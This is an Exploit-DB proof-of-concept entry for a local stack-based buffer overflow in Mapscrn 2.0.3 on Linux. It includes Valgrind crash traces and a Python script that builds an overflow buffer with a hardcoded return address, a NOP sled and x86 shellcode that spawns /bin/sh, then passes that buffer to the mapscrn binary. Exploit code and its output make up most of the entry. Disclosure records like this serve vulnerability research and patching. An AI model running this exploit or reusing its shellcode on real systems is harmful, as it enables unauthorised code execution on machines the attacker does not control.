Mapscrn 2.03 - Local Buffer Overflow (PoC)

EDB-ID:
42144

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
DOS

Exploit: / {}

Platform:
LINUX

Date:
2017-06-09

Vulnerable App:

```
# Developed using Exploit Pack - http://exploitpack.com -
<jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: Mapscrn ( Part of setfont ) 2.0.3
# The  mapscrn command loads a user defined output character mapping table
into the console driver.
# The console driver may be later put into use user-defined mapping table
mode by outputting a special
# escape sequence to the console device.
#
# An attacker could exploit this vulnerability to execute arbitrary code in
the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Architecture: all
#
# Vendor homepage: http://ccross.msk.su
#
# Source and destination overlap in strcpy(0xbe95fc4c, 0xbe9610df)
# at 0x4831518: strcpy (vg_replace_strmem.c:506)
# by 0x10A71F: ??? (in /usr/bin/mapscrn)
# by 0x10933B: ??? (in /usr/bin/mapscrn)
# by 0x41414140: ???
#
# Invalid read of size 2
# at 0x488DFCA: getenv (getenv.c:84)
# by 0x48867AE: guess_category_value (dcigettext.c:1587)
# by 0x48867AE: __dcigettext (dcigettext.c:667)
# by 0x48855F5: dcgettext (dcgettext.c:47)
# by 0x109733: ??? (in /usr/bin/mapscrn)
# by 0x41414140: ???
# Address 0x41414141 is not stack'd, malloc'd or (recently) free'd
#
# Process terminating with default action of signal 11 (SIGSEGV)
# Access not within mapped region at address 0x41414141
# at 0x488DFCA: getenv (getenv.c:84)
# by 0x48867AE: guess_category_value (dcigettext.c:1587)
# by 0x48867AE: __dcigettext (dcigettext.c:667)
# by 0x48855F5: dcgettext (dcgettext.c:47)
# by 0x109733: ??? (in /usr/bin/mapscrn)
# by 0x41414140: ???


import os,subprocess

junk = "\x41" * 4880 # junk to offset
nops = "\x90" * 24 # nops
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
esp = "\xe0\xdf\xff\xbf" # Must be changed
buffer = junk + esp + nops + shellcode # Craft the buffer

try:
   print("[*] Mapscrn Stack-Based Buffer Overflow by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["mapscrn", buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "Mapscrn  not found!"
   else:
    print "Error executing exploit"
   raise
```

Tags:

Advisory/Source: Link